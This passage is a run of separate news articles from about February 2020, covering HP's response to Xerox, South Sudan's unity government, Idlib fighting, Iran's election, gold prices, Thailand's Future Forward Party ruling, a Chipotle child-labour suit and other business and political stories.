largely by new debt. With borrowings of $5.1 billion, HP had a total debt-to-earnings ratio of 1.1 times for the 12 months ending Oct. 31, according to data compiled by Bloomberg. Cost-Saving Push HPs plans will also include a detailed cost-saving push, the people said. The measures are aimed at addressing shareholders ahead of a vote later this year where Xerox is trying to replace the board. One of the people said that the decision to return capital to shareholders was the result of conversations with some of HPs largest investors who had expressed a desire for the company to use its balance sheet more aggressively. HP intends to disclose the details of its plan on Feb. 24 when it reports earnings, the people said. The company had said it planned to respond to Xeroxs planned tender offer on that date. HP rose about 1% to close at $22.64 on Thursday, giving the company a market value of about $32.9 billion. Xerox was little changed at $36.78, giving it a market value of about $8 billion. --With assistance from Nico Grant and Michael Hytha. To contact the reporters on this story: Ed Hammond in New York at ehammond12@bloomberg.net;Scott Deveau in New York at sdeveau2@bloomberg.net To contact the editors responsible for this story: Elizabeth Fournier at efournier5@bloomberg.net, Matthew Monks, Liana Baker For more articles like this, please visit us at bloomberg.com Subscribe now to stay ahead with the most trusted business news source. 2020 Bloomberg L.P. South Sudan President Salva Kiir on Friday appointed rebel leader Riek Machar as vice president, after the two men finally agreed to form a long-delayed unity government -- a crucial step towards ending six years of war. A presidential decree included "the appointment of the vice presidents and the dissolution of all institutions at national and state levels," Information Minister Michael Makuei told AFP. The decree was read on state television, the South Sudan Broadcasting Corporation, appointing Machar as the first of five vice-presidents in a bloated cabinet to accommodate various warring parties. But consensus has only been reached on three of the four others, including current first vice president Taban Deng Gai -- a former Machar ally who defected. James Wani Igga from Kiir's ruling party, and Rebecca Nyandeng, a former minister and Kiir ally-turned-critic are the other named vice-presidents as part of the long-awaited unity government.. The swearing-in ceremony will take place on Saturday, Makuei said. Kiir had initially said his longtime rival would be sworn-in on Friday, after they had reached the unity deal "The vice presidents will take oath tomorrow and thereafter we will continue to process the appointments of the cabinet and appointment of the governors of the 10 states and three chief administrators of the three administrative areas," Makuei told AFP. - Saturday deadline - Saturday is the third deadline for the formation of the unity government which was agreed upon in a September 2018 peace deal, but pushed back as crucial issues remained unresolved. Key among these were the delineation of state boundaries, formation of a unified national army and security arrangements for Machar, who has been living in exile since 2016. A last-minute deal on the number of states was achieved, although little progress has been made on the other issues. The leaders have come under increased pressure in recent weeks both from regional heads of state and main donor, the United States, to form the government. A compromise by Kiir to cut to 10 the number of states, which he increased unilaterally to 32 after independence, was seen as key in moving towards the creation of the government. However the opposition remains reticent about an additional three "administrative areas" pushed through by Kiir. Machar spokesman Manawa Peter Gatkuoth said the two men would "continue to solve the problem" after the government is formed. - 'Major step forward' - "This is a major step forward, if indeed they form the government as they say," Alan Boswell, a South Sudan expert with the International Crisis Group (ICG) told AFP. "Kiir's compromise on the states issue paved the way for the two sides to finally move forward, even if the parties have much more to work through in the coming weeks, months, and years." Machar was sacked as vice-president in 2013 and later accused of plotting a coup against Kiir, kickstarting a civil war characterised by violence, rape and UN warnings of ethnic cleansing. A 2015 peace deal brought Machar back as vice-president and he returned to Juba with heavy security. When that deal fell apart in July 2016, the capital was plunged into a brutal battle between their rival armies and Machar was forced to flee on foot. The ensuing war drew in new parts of the country and other local grievances and disputes came to the fore. Several heads of state are expected to attend Saturday's inauguration, although no names have been confirmed. The main oil-focused hedge fund of one of the best known oil traders, Pierre Andurand, incurred an 8-percent loss in January, the Financial Times reported on Friday, quoting three people with knowledge of Andurands fund performance. Pierre Andurand manages Andurand Capital Management, one of the few oil-specializing hedge funds still out there. Andurands fund was a big winner of the oil price volatility in 2014 and 2016, but after that it suffered two consecutive years of annual losses in 2018 and 2019. According to FTs sources, Andurands losing streak extended into January this year. Last month, volatile crude oil prices and the much lower-than-expected premium of diesel prices over high-sulfur fuel oil (HSFO) prices caught many traders by surprise, according to FT. Before the January 2020 International Maritime Organizations (IMO) rules that only 0.5-percent or lower sulfur fuel oil be used in ships, traders and market analysts had expected diesel prices to jump and HSFO prices to slump because of the new regulation. It turned out, however, that refiners were well prepared for the shift and produced enough diesel, but they produced less HSFO. Lower HSFO supplies led to the premium of diesel over HSFO to drop by nearly a third last month. The wild swings in crude oil prices in January also led to a wild ride for oil traders at the start of this year. In early January, prices rallied after the U.S. killed Irans most powerful and visible military leader, Qassem Soleimani, in Iraq. Brent Crude prices exceeded US$70 a barrel for the first time since May last year. WTI Crude prices also rose to their highest level since May 2019, rising above US$64 a barrel early last month. In the second half of January, however, oil prices started sliding amid the coronavirus outbreak in China, as traders began to panic that the outbreak is inflicting the worst demand shock to the oil market since the 2008-2009 financial crisis. By Tsvetana Paraskova for Oilprice.com More Top Reads From Oilprice.com: Russia-backed Syrian troops repel attacks of Turkey-supported militants: Russian military People's Daily Online (Xinhua) 08:35, February 21, 2020 Militants supported by artillery fire of the Turkish Armed Forces managed to break through the defense of the Syrian army. MOSCOW, Feb. 20 (Xinhua) -- Syrian government troops covered by Russian warplanes on Thursday repelled several massive attacks of militants supported by Turkey in Syria's Idlib, according to the Russian military. Militants supported by artillery fire of the Turkish Armed Forces managed to break through the defense of the Syrian army, the Russian Center for Reconciliation of the Warring Parties in Syria said in a statement. To prevent the militants from moving deeper into the Syrian territory, Russia's Su-24 attack aircraft delivered a blow against them, the statement said. The airstrikes allowed the Syrian government troops to repel all the militant attacks and destroy one tank, six infantry fighting vehicles and five pickups armed with large-caliber weapons, it said. According to the statement, the Turkish troops stopped shelling after receiving Russian information that four Syrian soldiers were injured by their artillery fire. The Russian military urged the Turkish side to stop supporting the militants and halt supplying weapons to them in order to avoid future incidents. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address The following editorial appeared in Friday's Japan News-Yomiuri: - - - Iran holds a parliamentary election on Friday. It is feared that hard-line conservatives will gain momentum and tension with the United States will increase further. In Iran, where politics and religion are unified, Supreme Leader Ayatollah Ali Khamenei holds the authority to make final decisions. The president and the parliament have limited powers. Nevertheless, the international cooperation policy of moderate conservative President Hassan Rouhani has played a certain role in Iran's foreign policy. In the last election four years ago, the moderates and reformists who supported Rouhani made great strides and formed a majority. Expectations for economic growth through cooperation with Europe and the United States led to an increase in the number of seats they held in the parliament. However, this time, a downturn trend in such seats will be unavoidable. The economic sanctions imposed by the administration of U.S. President Donald Trump has put the Iranian economy in a difficult position. Hard-line conservatives who make strong anti-American proclamations claim that Rouhani's conciliatory foreign policy has failed. In addition, many moderate and reformist incumbent parliamentary members and candidates were disqualified from running in the election in prior vetting. The Guardian Council comprising Islamic jurists appointed by Khamenei decided whom to disqualify. The Iranian leadership seems to be trying to strengthen its power base by packing the parliament with hard-liners. Against this background there has been a series of incidents in which the regime's prestige has been eroded amid intensifying confrontation with the United States. Important to continue talks An influential commander of the Islamic Revolutionary Guard Corps (IRGC) that Khamenei has direct control over was killed in a U.S. military attack. Unprecedented anti-government demonstrations in Iran took place to protest against the leadership when it tried to conceal the fact that the IRGC mistakenly shot down a Ukrainian airliner. The hard-liners are calling for the continuation of "retaliation" against the United States. The Iranian leadership should realize that hard-line measures will make it harder for Iran to have the sanctions lifted and escape from international isolation, as well as making it difficult to keep its people from criticizing the regime. What is important is for Iran to continue dialogue with the United States and Europe to dispel mutual distrust. It is also essential to abide by the Iranian nuclear agreement and refrain from actions that could destabilize the region, such as an intervention in the civil wars in Syria and Yemen. The responsibility of the United States is also significant. It is undeniable that the "maximum pressure" campaign against Iran has put Rouhani and moderates in a corner and encouraged hard-liners. Trump's impulsive behavior will only increase the risk of conflict between the United States and Iran. The U.S. Senate has passed a resolution limiting the president's authority to take military action against Iran. Trump must take seriously the fact that some ruling Republican Party members voted in favor of the resolution. Japan and European countries need to continue their efforts to mediate between the United States and Iran to ease tensions. Bengaluru: Gold rose 1% on Friday (February 21) to its highest in seven years as the spread of the coronavirus intensified concerns about its impact on economic activity and global growth, increasing the metal`s safe-haven appeal. Spot gold rose 0.9% to $1,633.46 per ounce as of 1027 GMT, after hitting its highest since Feb.14, 2013 at $1,635.98 earlier in the session. U.S. gold futures jumped 1% to $1,636.40. Gold prices have risen 3% so far this week and are set to record their biggest weekly percentage gain since early August. "The risk-off and flight to the safe havens movement are supporting gold. Stocks markets are down, while you have gained in government bonds," said Peter Fertig, an analyst at Quantitative Commodity Research. The virus outbreak is having an influence on economic activity, and the markets are focusing on the increase in the number of newly infected cases, he added. South Korea has reported 52 new cases, taking the national total to 156, while Japan reported the first fatalities from a cruise ship which accounted for the biggest cluster of infections outside China. Meanwhile, China reported an uptick in new cases of coronavirus, boosted by more than 200 people testing positive for the disease in two prisons outside of Hubei province, the epicentre of the outbreak. The increase in a number of new cases hit stock markets around across the world, putting them on course for their worst week in four. Among other safe havens, the US government bonds gained as the benchmark 10-year Treasury yields fell to its lowest since September, while Japan`s yen bounced sharply. Further spread of the disease could derail a "highly fragile" projected recovery in the global economy in 2020, the International Monetary Fund said on Wednesday. Elsewhere, palladium rose 0.9% to $2,712.995 an ounce and the metal was up about 11% this week. The autocatalyst metal had risen to a record high of $2,841.54 earlier in the week on supply concerns. "Low inventories from a structural market deficit and limited scope of a supply response should keep demand strong," ANZ analysts said in a note. Silver was up 0.9% at $18.52 and was set to register its strongest week since end-August. Platinum edged up 0.6% to $983.78 and was on track to post a weekly gain. Producers of the BBC series Best Home Cook have apologised for using an emoji of an Irish tricolour in a social media post announcing the Northern Ireland winner of the UK-wide culinary competition. The image appeared online on Thursday night in a tweet announcing that Suzie Arbuthnot had won the title of Best Home Cook. The tweet said: "And here she is, our winner of Best Home Cook 2020 Congratulations Suzie! Northern Ireland will be celebrating tonight" - followed by the image of the Republic of Ireland flag. The post was removed yesterday afternoon and replaced with another message, minus any flag emojis. Before this many had commented under the original post and 'flagged' up what they called the "lack of awareness". One social media user wrote: "Many congratulations, she was exceptional throughout. Rather bizarre of Best Home Cook to have a tricolour on the post. "Do they know where NI is, why bother with any flag." Another added: "Do you not know that Northern Ireland is part of the UK? Why the Irish flag on your post?" "Antrim is in Northern Ireland, I believe that neither flag should have been used and certainly not a tricolour," said another. In a response, a spokesperson for Best Home Cook confirmed that the BBC do not run the social media account. They added: "The flag was posted in error and was removed immediately the mistake was realised. "We would like to apologise for any offence caused." In video recording, Bloomberg falsely states NYPD only entered mosques when it was asked by imams to do so. When activist and organiser Sarah Pearson approached Michael Bloomberg last year, she knew she wanted to press him on the New York City Police Departments (NYPD) surveillance of Muslims during his tenure as mayor there. What she did not expect, however, is that he would give her a demonstrably false answer when she asked how he was defending Muslims rights when their communities were surveilled. The police only went in when the mosque, when the imam asked us to go in, Bloomberg told her at the opening of his 2020 presidential campaign offices in Milwaukee, Wisconsin, in December. Period. End of story, he can be heard saying on a video recording of the encounter. We went into mosques when they asked us to come in, he also said. Bloomberg was asked about his policy of surveilling Muslim communities. This was his response. pic.twitter.com/uRHcTxpPx9 Al Jazeera English (@AJEnglish) February 20, 2020 But a multipart, award-winning 2011 investigation by The Associated Press news agency found the NYPD mapped mosques and Islamic centres, eavesdropped on conversations, surveilled entire neighbourhoods and put informants, known as mosque crawlers or rakers, in Islamic places of worship and gathering centres to monitor sermons in the decade after the September 11, 2001, attacks in the United States. I didnt expect a warm reception, Pearson told Al Jazeera by phone, referring to her December interaction with Bloomberg. But what he said was so demonstrably false. In my head, I expected him to try to end the conversation and move along, she added. And I didnt think he would address it in a way and make a statement like that. For Pearson, pressing Bloomberg on his record with the Muslim community stemmed from the US governments surveillance and internment of her Japanese-American community during World War II. She decided to post the video of her interaction with Bloomberg on Wednesday after she saw #AskBloomberg trending before the ninth Democratic presidential debate. I did #AskBloomberg about his policy of surveilling Muslim communities. Heres what he said. (part 1) https://t.co/h3KGNkbPgB pic.twitter.com/GBtTCrrKhi Sarah Pearson (@SarahPearr) February 19, 2020 Calls for apology Since announcing his candidacy for the Democratic presidential nomination in November, Bloomberg has come under increased fire for past comments and policies he endorsed as the mayor of New York City from 2002-2013. Criticism of his comments regarding the stop-and-frisk policing tactic, which he aggressively pursued after taking office in New York City, heightened last week when an audio recording from 2015 resurfaced of him saying to combat crime cities need to put a lot of cops where the crime is, which means in minority neighbourhoods. Bloomberg has since apologised for his role in the policy, recently saying it represented the one thing he is really worried and embarrassed about. That apology has been slammed by some, who say it does not go far enough. The former mayor has not, however, apologised for the surveillance of Muslims, despite repeated calls over recent years from rights groups and those within the community to do so. The American Muslim community, a target of the stop and frisk programme many of our members being African American and of colour find his apology about the programme lacking, said Robert McCaw, the Government Affairs Department director of the Council on American-Islamic Relations (CAIR). In that same vein, he has yet to fully account for his role in the NYPD spying on our community and for that he should apologise, McCaw told Al Jazeera. A woman holds a sign during a rally at Foley Square in New York as she protests against the NYPD and CIA surveillance on Muslim communities and neighbourhoods in New York [File: Andrew Burton/Reuters] The NYPD surveillance programme has had deep psychological, long-standing impacts on Muslim communities in New York and surrounding states, said Scott Simpson, public advocacy director for Muslim Advocates. The victims here were just everyday people, Simpson told Al Jazeera. It really shakes people. It makes them choose to not participate in their own communities. It makes them choose not to exercise their First Amendment right to practise their religion. https://twitter.com/HabibaChoudhu/status/1228450309883781120?ref_src=twsrc%5Etfw A lawsuit filed by Muslim Advocates in 2012 on behalf of Muslim individuals, businesses and organisations that were targeted by NYPD surveillance in New Jersey resulted in a settlement that built on previous cases in which the NYPD agreed to ban investigations based on ethnicity, race, religion or national origin. A 2015 court opinion compared the surveillance of Muslims to the discrimination faced by Jewish Americans during the Red Scare, African Americans during the civil rights movement and Japanese Americans during World War II. For any presidential candidate or for any administration official to endorse surveillance of Americans engaging in their First Amendment activities and to do so to the depth and degree and level of invasiveness that the NYPD subjected its own community members to is inexcusable and its vitally important that those facts, which have been validated by courts not get whitewashed away, Simpson said. The Bloomberg campaign had not replied to Al Jazeeras request for comment at the time of publication. Follow us on volkswagen no longer in race to become world s largest carmaker ceo Frankfurt: The Chief Executive Officer of the embattled German auto giant Volkswagen has said that the company is giving up on its ambition to become the world's biggest carmaker and beat Japanese rival Toyota in terms of sales by 2018. "For me, this obsession with unit sales and the ambition to constantly reach new records makes no sense," CEO Matthias Mueller told WirtschaftsWoche, a weekly magazine, in an interview published today. VW is currently engulfed in a scandal of global proportions after it was forced to admit in September that it installed pollution-cheating software in 11 million diesel engines worldwide. Mueller was brought in to resolve the crisis. The oft-stated goal of his predecessor Martin Winterkorn had been for VW to overtake Toyota as the world's number one carmaker by 2018. And the German giant - which owns 12 different brands - had even looked set to reach that goal this year. But VW sales have been falling in the wake of the scandal. While unit sales would remain important for the group, "I'm not going declare sheer size as an end in itself," Mueller said. "It makes no difference to me whether we're number one, number two or number three in terms of volume of sales." VW still wants to remain a leader in the sector. "But our definition will be different," he said. Latest Business News Future Forward Party leader Thanathorn Juangroongruangkit (center) and party Secretary General Piyabutr Saengkanokkul (to his right) speak to reporters at the partys headquarters in Bangkok, Feb. 21, 2020. Updated at 11:50 p.m. ET on 2020-02-21 Thailands Constitutional Court ordered the opposition Future Forward Party dissolved Friday and banned its leader from politics for a decade over a campaign loan, in a ruling that human rights groups and Southeast Asian parliamentarians condemned as a blow to Thai democracy. The court voted 7-2 to disband the anti-military FFP and ruled that leader Thanathorn Juangroongruangkit and 15 other officials from the party, which finished third in last years general election, could not form or assume an executive positions in a political party for 10 years. Thanathorn Juangroongruangkit loaned a large sum of money to the party. The party executives should have known that with the debt, the party could be controlled by the debtor, Judge Panya Udchachon read from the verdict in a televised event. Therefore this case has solid evidence that the accused violated the Political Party Act. [The court] orders the Future Forward Party be dissolved in accordance with Article 92 of the Political Party Act and will withhold political rights of the executives active during the time the action took place. It will disallows them to register a new party, assume party executive positions or take part in forming a new party for 10 years, the judge said. The partys dissolution and the ban on its top leaders participating in politics for the next decade sidelines the FFP only 11 months after Thailand staged its first election since the military toppled a civilian-led government and installed a junta in May 2014. The army general who led that coup, Prayuth Chan-o-cha, oversaw the military government and again became prime minister after the March 2019 polls. On Friday, FFP leaders, joined by more than 100 supporters, monitored the verdict from the party office in downtown Bangkok. The Future Forward Party comes to an end. I, as the party leader, apologize to the people that we failed you on our promise, Thanathorn told reporters. We promised to thwart the juntas power retention, amend the Constitution and reform the armed forces, but we failed and I apologize. I declare a Future Forward Panel to bind people who want to carry on with the ideology of amending the constitution, Thanathorn said. On Saturday morning (local time), the United States Embassy in Bangkok came out a with a brief statement on the Constitutional Court's dissolution of the FFP. "The United States strongly supports democratic governance around the world, and appreciates Thailands recent seating of a democratically elected government," said the statement posted on the embassy's website. "While the United States does not favor or support any particular political party in Thailand, more than six million voters chose the Future Forward Party in the March 24 elections. The decision to disband the party risks disenfranchising those voters and raises questions about their representation within Thailands electoral system," the embassy went on to say. In Brussels, the European Union criticized the party's dissolution as "a set-back for political pluralism in Thailand." "Dissolving political parties or banning Members of Parliament runs counter to the process of restoring pluralism initiated last year. Political space in Thailand should remain open," the EU said in a statement Friday, adding Thai authorities should ensure that all legitimately elected MPs should be able to keep fulfilling their parliamentary mandates. New York-based Human Rights Watch was among groups that ripped into the court's decision to break up Thanathorn's party, which is popular with young Thais. The Constitutional Courts ruling to dissolve the Future Forward Party is a knockout blow for Thailands teetering efforts to restore democratic rule after a military dictatorship, Brad Adams, Asia director at Human Rights Watch, said in a statement. This decision seriously weakens the political opposition for the benefit of the military-backed ruling party and unjustly cancels the votes of over six million Future Forward Party supporters. Last May, Thanathorn, 41, told reporters he had disclosed in his official declaration of assets that he provided a loan of 191.2 million baht (U.S. $6.3 million) to finance the FFPs electoral campaigns during the March 2019 general election. Responding to a petition from anti-graft activist Srisuwan Janya, the Electoral Commission previously ruled that Thanathorn was not anticipating a repayment. It dismissed Thanathorns claims that the amount distributed in two sums, 161.2 million baht ($5.3 million) in January 2019, and a second of 30 million baht ($994,000) in April 2019 was given as a loan. The EC then sought a ruling from the Constitutional Court. Thanathorn still faces sedition and other criminal charges stemming from his political efforts. The partys secretary general, Piyabutr Saengkanokkul, faces criminal charges as well. They and others formed FFP to challenge Prayuths government. FFP holds 76 seats in parliament after finishing third in the March 2019 election, capturing 81. Prayuth appointed himself prime minister after leading the coup that overthrew the elected government of Yingluck Shinawatra. He was voted in as PM following last years election after a rule change allowed 250 senators appointed by the junta to vote for the top office. No justice in this country Skulsri Boonchote-anand, 47, was among FFP supporters at party headquarters, and applied for party membership despite the courts ruling. Im very sad. I didnt think the court would disband the party, she told BenarNews. I like this party because they reach out to people and they do care about the people. They are political hope, the light at the end of tunnel, but today it was put out. A giant banner at Bangkoks Thammasat University read: There is no justice in this country. Titipol Phakdeewanich, dean of political science faculty at Ubon Ratchathani University said he had expected the courts ruling. Nothing to be surprised about because everyone anticipated such a dissolution. It is the same happening in Thai politics like when Pheu Thai party was undercut, he told BenarNews. The dissolution may help the opposition gain more support from younger generations, he said. The Pheu Thai party, loyal to Thaksin Shinawatra, who like his younger sister, Yingluck, was outed from the prime ministers office by a military coup, was the second-most popular party in the 2019 general election, picking up 136 seats in parliament. Sunai Phasuk a Human Rights Watch senior researcher in Thailand, said the courts action was a setback for pluralism in Thailand ahead of a censure debate. Parliament is expected to begin the three-day debate against Prime Minister Prayuth Chan-o-cha and five cabinet members on Monday and vote on Thursday. Only three days ahead of a no-confidence debate, the Constitutional Courts ruling in a politically motivated case to disband the FFP is seen as a knockout blow for electoral pluralism in Thailand. The ruling coalition will now benefit from the verdict that unjustly cancels the votes of millions who support the FFP, Sunai told BenarNews. The dissolution verdict violates the rights of the FFP members to freedoms of expression, association, peaceful assembly and democratic participation guaranteed under the International Covenant on Civil and Political Rights, he said. Members of the ASEAN Parliamentarians for Human Rights (APHR) expressed disappointment with the courts action as well. The penalty seems wholly disproportionate to the infraction, and when you look at the huge number of cases brought against the Future Forward Party and its members since it was founded, it is hard not to question whether they are being singled out because they pose a threat to the political establishments grip on power, said Abel Da Silva, a Timor-Leste MP who also serves as member of APHR. Source: Xinhua| 2020-02-21 00:39:32|Editor: huaxia Video Player Close Debris are seen in the Maarat al-Numan city, Idlib Province, Syria, on Jan. 30, 2020. (Photo by Maher/Xinhua) Militants supported by artillery fire of the Turkish Armed Forces managed to break through the defense of the Syrian army. MOSCOW, Feb. 20 (Xinhua) -- Syrian government troops covered by Russian warplanes on Thursday repelled several massive attacks of militants supported by Turkey in Syria's Idlib, according to the Russian military. Militants supported by artillery fire of the Turkish Armed Forces managed to break through the defense of the Syrian army, the Russian Center for Reconciliation of the Warring Parties in Syria said in a statement. To prevent the militants from moving deeper into the Syrian territory, Russia's Su-24 attack aircraft delivered a blow against them, the statement said. The airstrikes allowed the Syrian government troops to repel all the militant attacks and destroy one tank, six infantry fighting vehicles and five pickups armed with large-caliber weapons, it said. According to the statement, the Turkish troops stopped shelling after receiving Russian information that four Syrian soldiers were injured by their artillery fire. The Russian military urged the Turkish side to stop supporting the militants and halt supplying weapons to them in order to avoid future incidents. : The Andhra Pradesh government on Friday constituted a 10-member Special Investigation Team (SIT), headed by a Deputy Inspector General of Police-rank IPS officer, to conduct a comprehensive probe into alleged irregularities, particularly land deals in the Amaravati capital region, during the previous Telugu Desam Party regime. The report of a Cabinet Sub-Committee on the "procedural, legal and financial irregularities and fraudulent transactions concerned with various projects, including issues related to land in the CRDA region" will form the basis for the SIT probe, according to an order issued by General Administration Department Principal Secretary (Political), Praveen Prakash. The SIT will enquire, register, investigate and conclude the investigation according to the provisions of the Criminal Procedure Code on the subject matter, the order said. The SIT, which has two other IPS officers and other police officials, will also function as a nodal single point contact, including for sharing of information and coordinate with the state and Central investigating agencies,if required. The Cabinet Sub-Committee was constituted by the Y S Jagan Mohan Reddy government in June 2019 to "review major policies, projects, programmes, institutions established (Corporations, Societies, Companies,etc) and key administrative actions since bifurcation of Andhra Pradesh on June 02, 2014" impacting the states development. The Sub-Committee presented the first part of its report to the government in December last, highlighting the various procedural, legal and financial "irregularities and fraudulent transactions" concerned with various projects, including the issues related to land in the CRDA region. The report was tabled and discussed in the state Assembly after the Cabinet accepted it. Subsequently, the government decided to get the issue inquired by a specialised agency and thus constituted the SIT. Intelligence DIG Kolli Raghuram Reddy will head the SIT, which also has SP-rank IPS officers Babujee Attada and V Appala Naidu. The SIT will later be notified as a 'police station' as per provisions of the CrPC. Among other things, the SIT will investigate "insider trading" of land committed by several individuals having prior knowledge of location of the new capital and alleged manipulation of boundaries of the capital under Land Pooling Scheme for monetary gains through appreciation of land value. No time frame has been set for the SIT to complete the investigation and file a charge-sheet. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Bengaluru police had sent notices to the organisers of an anti-CAA rally where a 19-year old woman raised Pakistan Zindabad slogans. The police has also summoned them for questioning and registered a sedition case against this student activist. The 19-year old has been sent to 14-day judicial custody. The young student activist has been identified as Amulya Leona. Karnataka: Amulya (who raised 'Pakistan zindabad' slogan at an anti-CAA rally in Bengaluru, yesterday) & was charged with sedition, sent to 14-day judicial custody pic.twitter.com/vWS55tDZEQ - ANI (@ANI) February 21, 2020 Asaduddin Owaisi was taken aback and rushed to snatch the mike from Leona and other volunteers also joined in to remove her from the stage. But she refused to budge. Later the police had to step in to remove her from the dais. #WATCH The full clip of the incident where a woman named Amulya at an anti-CAA-NRC rally in Bengaluru raised slogan of 'Pakistan zindabad' today. AIMIM Chief Asaddudin Owaisi present at rally stopped the woman from raising the slogan; He has condemned the incident. pic.twitter.com/wvzFIfbnAJ - ANI (@ANI) February 20, 2020 Owaisi was visibly alarmed by her actions and condemned the slogans. He has also denied any links between her and the AIMIM party. He told reporters present that such people "are crazy and don't have any love for the country." Apart from Owaisi, the first person to deny any association with Amulya was the JD(S) corporator Imran Pasha. Pasha claimed that Leona was planted by a rival group to divert from the event. He also said that her name wasn't included in the list of speakers and that the police should take this incident "seriously". The BJP and the Congress have also condemned this event at the AIMIM's anti CAA-NRC rally. The BJP Karnataka tweeted that, "Those who support Pakistan should go there forever." The Karnataka Congress unit has also condemned the Pakistan Zindabad cries and urged the state to take strict legal action. Anti-CAA Activist Amulya Leona shouts PAKISTAN ZINDABAD in the presence of AIMIM Chief @asadowaisi at Bengaluru. Truth is that protests against #CAA are a joint venture between Pakistan & Anti-National Forces led by @INCIndia. Those who support Pakistan should go there forever. pic.twitter.com/GpknmmdKHt - BJP Karnataka (@BJP4Karnataka) February 20, 2020 After this incident, Leona's father described her actions as 'absolutely wrong'. He also said that he had asked her to not make such "provocative statements" or "get involved with Muslims" many times but she did not listen to him. #WATCH "What Amulya said is wrong. She was joined by some Muslims&wasn't listening to me,"father of Amulya (who raised 'Pakistan zindabad'slogan at anti-CAA rally in Bengaluru today). He was confronted by unidentified men who were standing around him while he made the statement. pic.twitter.com/S0OQ2SpUXT - ANI (@ANI) February 20, 2020 Also read: Mediators reach Shaheen Bagh for Day 2 of talks Also read: Why not cover Rohingya, Ahmaddiya Muslims under CAA, asks Brinda Karat Calm waters: The Radisson Blu hotel in Athlone forms part of the iNua portfolio The Cork-based iNua hotel group recorded operating profits of 2.2m in 2018, new accounts show. The group - which operates the five-star Muckross House hotel in Killarney - recorded revenues of 27.08m for the six-month period to the end of December 2018. However, reorganisation costs totalling 4.48m and interest costs of 2.2m resulted in a pre-tax loss of 4.5m. The group described 2018 as "a strong overall performance". It stated that excluding one-off formation and restructuring costs relating to the inception of the plc and subsequent acquisition of eight hotel assets by the plc, the normalised ebitda (earnings before interest, taxes, depreciation and amortisation) for the six months was 5m. The group stated that this was "in line with targets and shareholder growth forecasts". The group portfolio includes the Radisson Blu hotels in Limerick, Cork and Athlone, and the Hibernian Hotel in Kilkenny. CEO of the iNua Partnership, Paul Fitzgerald, said: "I am pleased to announce our results for 2018 and our out-turn for 2019. "We remain confident in the fundamentals that support our strong performance in regional hospitality." He added: "We continue to broaden our capabilities in this sector through attracting key talent to support our head office, and also by way of acquisition of further suitable hotel assets. "We continue to drive sustainable growth and are on track to deliver our 2023 strategic targets. "The outlook for 2020 is positive and iNua expects to deliver 6pc to 8pc growth in normalised ebitda." Concerning 2019, iNua - which employs around 1,200 people - is expected to show an ebitda of 8.9m, which is an increase of 4pc on a like-for-like basis. The group stated that revenues for 2019 are expected to track 56m. The accounts place a book value of 81.75m on tangible assets. Staff costs totalled 9.7m. The results come as the regional hotel owner and operator continues with its investment programme, with the group most recently having unveiled a significant redevelopment of its newly acquired Tullamore Court Hotel property last November. The Textile Ministry is going to bring a new textile policy soon to eliminate the dominance of China and Bangladesh from the country's textile market. In addition, under the policy, the production capacity of textile industry can be expanded at low cost. A number of new measures will be taken to compete Indian textiles globally, including global branding of Indian clothing, use of high technology in production and the ability to deliver large orders on time. Apart from this, there is also talk of changes in labor rules for the textile industry. According to T. Rajkumar, chairman of the Confederation of Indian Textile Industry (Citi), the global brand retail stores in India have a large number of garments from China, Bangladesh and Sri Lanka. In addition, he told that in a meeting chaired by Textile Minister Smriti Irani, the branded retail stores had said that there are no big garment manufacturers in India to meet their demands. At the same time, those branded retail stores said that due to low cost and huge supply at the same time, they import apparel from China, Bangladesh and Sri Lanka for their stores in India. According to the ministry sources, the government wants India Become the global leader in the textile sector, so that not only India, but also retail sales of garments manufactured in India in retail stores around the world. Simultaneously, Sanjay Jain, MD, TT Textile, says, For the last one month, there has been a lot of discussion on textile policy under the leadership of Ravi Kapoor, Secretary, Textile Ministry. Several rounds of meetings have been held with various stakeholders. According to Citi, the new policy can attract attractive rules to attract foreign direct investment (FDI) in the textile sector as well as joint venture projects. At the same time, the proposed mega textile park will also have a provision to facilitate the establishment of integrated units of every sector of textile such as yarn, fabric and garment simultaneously. Infrastructure facilities like water, electricity, technical support can also be taken care of for manufacturing at low cost. Also Read: Know these 5 rules on PPF deposits Personal Loan: Know which bank from SBI, PNB, and HDFC charges low-interest rate SBI Cards IPO subscription starts from March 2 Coronavirus may decline global GDP if not controlled before June WASHINGTON, Feb. 21, 2020 /PRNewswire/ -- Two New Jersey women who were minor children when they worked at a Chipotle in Fort Lee, New Jersey will hold a news conference on Saturday, February 22, 2020. In attendance will be Plaintiffs Alyssa MacLeod and Abbie Van Lee, as well as Plaintiff's counsel, to discuss their putative class action, MacLeod v. Chipotle Mexican Grill, Inc. They are represented by Carl Mayer of the Mayer Law Group LLC. This first-of-its-kind putative class action seeks to hold Chipotle liable for violating the New Jersey Child Labor Laws. As alleged in the complaint, Chipotle required Alyssa MacLeod and Abbie Van Lee, and a class of similarly situated school-aged children, to work past 11 p.m. on school nights, and without parental consent, among other things, in blatant violation of the New Jersey Child Labor Laws, as a matter of company policy. According to lead Plaintiff, Abbie Van Lee, Chipotle told her the child labor laws were only "guidelines." Lee also noted that Chipotle threatened to reprimand her and her fellow school-aged co-workers if they asked to leave before 11 p.m. on school nights. As a result of working past 11 p.m., Lee often fell asleep in class the next day, prompting one teacher to question whether Chipotle's practices violated the child labor laws. This putative class action dovetails with a nearly $2 million dollar child labor law violation settlement Chipotle reached with the Attorney General of Massachusetts in January 2020. The widespread child labor violations uncovered by the Attorney General of Massachusetts are nearly identical to those being alleged here in this putative class action involving New Jersey school-aged children. Lead Plaintiffs Alyssa MacLeod and Abbie Van Lee are represented by 30-year veteran consumer and worker protection lawyer, Carl J. Mayer, Esq. (https://en.wikipedia.org/wiki/Carl_J._Mayer), as well as employee rights lawyer, Zachary J. Liszka, Esq. (https://employeelawyer.nyc/). For More Information Contact: Carl J. Mayer, Esq. at 609-462-7979 or [email protected] Date: Saturday, February 22, 2020 Time: 12 p.m. (noon) Place: 134 Linwood Plaza Fort Lee, NJ. PHOTO OPPORTUNITIES SOURCE Mayer Law Group LLC (Bloomberg) -- In the daily onslaught of news from the coronavirus to the U.S. presidential race it would have been easy to miss a little fracas in the Baltics this week. On Tuesday, the Chinese embassy in Tallinn issued a blunt statement slamming the ignorance, prejudice as well as a Cold War mindset displayed by Estonias foreign intelligence service in its annual report. The document, published the previous week, was critical of Chinas overseas investments, which the service said were used for political purposes and represented a security threat. Chinas response was far from unprecedented. Earlier this month, its embassy in fellow Baltic state Lithuania expressed grave dissatisfaction at a similar security assessment. Chinas ambassador to 